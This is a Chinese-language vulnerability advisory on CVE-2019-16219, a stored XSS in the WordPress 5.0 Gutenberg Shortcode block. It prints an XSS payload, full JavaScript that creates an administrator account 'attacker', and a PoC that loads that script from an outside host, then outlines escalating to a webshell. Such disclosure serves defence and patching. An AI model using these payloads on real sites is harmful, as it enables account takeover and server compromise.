漏洞概述
WordPress是最主流的内容管理系统(CMS),占全球CMS市场份额的60.4%,远高于第二的Joomla!(5.2%)。因此,有超过1/3的网站使用WordPress。FortiGuard研究人员近期发现一个WordPress中的存储型XSS 0day漏洞。该0day漏洞是由于WordPress 5.0中新内置的Gutenberg引发的XSS漏洞。该编辑器没有超过过滤Shortcode错误消息中的JavaScript/HTML代码。因此,有Contributor或更高权限的远程攻击者就可以在访问被黑页面的受害者浏览器中执行任意JS/HTML代码。如果受害者有更高权限,比如administrator权限,攻击者甚至可以入侵整个web服务器。
该XSS漏洞CVE编号为 CVE-2019-16219,影响WordPress 5.0到5.0.4,5.1和5.1.1版本。
漏洞分析
在WordPress 5.0中,用户可以在文章中添加Shortcode块。在添加特定HTML编码的字符到Shortcode块,然后重新打开文章时,就显示错误信息,以<字符为例,预览时会解码<为<。
图1. 插入HTML编码的字符串到ShortCode块
图2. 预览时的Shortcode错误消息
预览时的XSS过滤器可以很容易地过滤,比如POC"><img src=1 onerror=prompt(1)>:
图3. 插入PoC代码到Shortcode块
受害者查看文章时,XSS代码就会在浏览器中执行。
图4. WordPress Shortcode Preview XSS
如果受害者有admin权限,攻击者就可以利用该漏洞来获取管理员账号的完全,使用WordPress内置功能来GetShell。然后控制服务器。
比如,攻击者可以在web服务器上保持JS文件,如wpaddadmin[.]jshttps://g0blin.co.uk/xss-and-wordpress-the-aftermath/ 。JS代码会用用户名attacker和密码attacker添加一个WordPress管理员账号。
// Send a GET request to the URL '/wordpress/wp-admin/user-new.php', and extract the current 'nonce' valuevar ajaxRequest = new XMLHttpRequest();var requestURL = "/wordpress/wp-admin/user-new.php";var nonceRegex = /ser" value="([^"]*?)"/g;ajaxRequest.open("GET", requestURL, false);ajaxRequest.send();var nonceMatch = nonceRegex.exec(ajaxRequest.responseText);var nonce = nonceMatch[1];// Construct a POST query, using the previously extracted 'nonce' value, and create a new user with an arbitrary username / password, as an Administratorvar params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=attacker&[email protected]&pass1=attacker&pass2=attacker&role=administrator";ajaxRequest = new XMLHttpRequest();ajaxRequest.open("POST", requestURL, true);ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");ajaxRequest.send(params);
然后攻击者就可以用下面的POC来插入JS:
“"><img src=1 onerror="javascript:(function () { var url = 'http://aaa.bbb.ccc.ddd/ wpaddadmin.js';if (typeof beef == 'undefined') { var bf = document.createElement('script'); bf.type = 'text/javascript'; bf.src = url; document.body.appendChild(bf);}})();">”
图5. 插入XSS代码来添加管理员帐户
高权限的受害者查看该post时,就会创建管理员帐户attacker。
图6. 执行XSS代码
图7. XSS代码创建的具有管理员权限的attacker帐户
然后攻击者就可以修改现有的php文件到webshell,然后用webshell来控制web服务器。
图8. 添加web shell到attacker帐户
图9. 控制web服务器
目前WordPress已经发布了补丁,研究人员建议用户升级到最新的WordPress版本。